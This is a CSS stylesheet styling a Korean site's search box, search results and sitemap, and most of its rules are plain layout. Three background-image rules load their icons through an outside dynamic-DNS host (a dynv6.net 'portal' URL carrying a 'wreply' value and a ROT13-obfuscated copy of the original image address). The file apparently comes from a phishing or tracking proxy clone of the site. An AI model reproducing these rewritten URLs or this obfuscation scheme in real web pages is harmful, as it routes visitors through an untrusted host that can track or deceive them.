@charset "utf-8";

/* 통합검색 */
.tot-search-box{margin-bottom:50px;border:1px solid #aabed1;background-color:#edf3fd;padding:30px 20px;}
.tot-search-box .tot-search-title{margin-bottom:20px;color:#164066;font-size:20px;font-weight:bold;text-align:center;}
.tot-search-box .tot-search-form{position:relative;width:76%;padding-right:70px;padding-left:144px;margin:0 auto;border:4px solid #005aab;background:#fff;}
.tot-search-box .tot-search-form .lbl{position:absolute;top:0;left:0;bottom:0;width:140px;color:#005aab;font-size:18px;text-align:center;line-height:44px;}
.tot-search-box .tot-search-form .lbl:after{content:'';position:absolute;top:50%;right:0;width:1px;height:18px;background-color:#99bddd;margin-top:-9px;}
.tot-search-box .tot-search-form .txt{width:100%;height:44px;border:0;padding:0 20px;color:#666;font-size:18px;}
.tot-search-box .tot-search-form .btn-submit{position:absolute;top:50%;right:0;width:70px;height:44px;margin-top:-22px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Spbagragf%2Soga_frnepu.wct) no-repeat 50% 50% / 24px auto;border:0;text-indent:-999em;}

.tot-result-meta{border-top:3px solid #3f6baa;}
.tot-result-meta .tot-count{color:#3f6baa;}
.tot-result-meta .result-meta-header{border-bottom:1px solid #ddd;}
.tot-result-meta .result-meta-header p{padding:20px;color:#333;font-size:20px;text-align:center;word-break:keep-all;}
.tot-result-meta .result-meta-header p strong{color:#ff0030;}
.tot-result-meta .result-meta-body{padding:16px 20px 6px;border-bottom:1px solid #3f6baa;}
.tot-result-meta .result-meta-body ul{width:85%;margin:0 auto;}
.tot-result-meta .result-meta-body ul:after{content:'';display:block;clear:both;}
.tot-result-meta .result-meta-body ul li{float:left;width:25%;margin-bottom:10px;}
.tot-result-meta .result-meta-body ul li a{color:#333;}
.tot-result-box{margin-top:50px;border-top:2px solid #494949;border-bottom:1px solid #a4a4a4;}
.tot-result-box .tot-result-header{position:relative;background:#f7f7f7;border-bottom:1px solid #a4a4a4;min-height:42px;padding:0 20px;}
.tot-result-box .tot-result-header p{color:#333;font-size:16px;padding-top:9px;font-weight:bold;}
.tot-result-box .tot-result-header p .tot-count{color:#666;font-size:12px;font-weight:normal;}
.tot-result-box .tot-result-header .tot-result-view-more{position:absolute;top:0;right:12px;padding:11px 28px 11px 0;background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Spbagragf%2Sot_gbg_fepu_zber.cat") 100% 50% no-repeat;}
.tot-result-box .tot-result-header .tot-result-view-more span{color:#333;font-size:12px;}
.tot-result-box .tot-result-body{}
.tot-result-box .tot-result-body ul{}
.tot-result-box .tot-result-body ul li{padding:24px 20px;border-top:1px solid #e1e1e1;}
.tot-result-box .tot-result-body ul li:first-child{border-top:none;}
.tot-result-box .tot-result-body ul li p a{color:inherit;}
.tot-result-box .tot-result-body ul li p.result-title{color:#333333;font-size:15px;padding-bottom:3px;}
.tot-result-box .tot-result-body ul li p.result-title strong{color:#ff0030;}
.tot-result-box .tot-result-body ul li p.result-summary{padding-bottom:11px;font-size:14px;}
.tot-result-box .tot-result-body ul li p.result-summary strong{color:#ff0030;}
.tot-result-box .tot-result-body ul li p.result-link{}
.tot-result-box .tot-result-body ul li p.result-link a{color:#3f6baa;font-size:13px;}
.tot-result-desc{margin-top:40px;padding:0 60px;}
.tot-result-desc p{color:#666;font-size:16px;line-height:1.8;}

/* 사이트맵 */
.sitemap>ul:after{content:'';display:block;clear:both;}
.sitemap>ul>li{float: left; width: 30%; min-height: 370px;  /*레이아웃이 틀어지는 경우 min-height 조절*/ margin-right: 5%; margin-bottom: 30px;}
.sitemap>ul>li:nth-child(3n){margin-right:0;}
.sitemap>ul>li .menu-d1{padding-bottom: 15px; border-bottom: 2px solid #333; font-size: 26px; color: #1a1a1a; font-weight: bold;}
.sitemap>ul>li a:hover{text-decoration: underline;}
.sitemap>ul>li .menu-d2>a{display: block; padding: 12px 0; font-size: 16px; color: #333; border-bottom: 1px solid #ccc; font-weight: 400;}
.sitemap>ul ul ul{padding: 10px; border-bottom: 1px solid #ccc;}
.sitemap>ul ul ul .menu-d3>a{position:relative;display: block; padding: 4px 0 4px 12px; font-size: 14px; color: #666; font-weight: 400;}
.sitemap>ul ul ul .menu-d3>a:before{content:'';position:absolute;top:13px;left:0;width:4px;height:4px;border-radius:50%;background:#808080;}
.sitemap>ul>li a span{display: inline-block;position:relative;}
.sitemap>ul>li a[target='_blank'] span{padding-right: 22px;}
.sitemap>ul ul a[target='_blank'] span:after{content:''; position: absolute; top: 50%; right:0; width: 16px; height: 16px; margin-top: -8px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Spff%2Sbavbapzf%2S..%2S..%2Svzntrf%2Sbavbapzf%2Spbagragf%2Svpba_oynax.cat) no-repeat;}



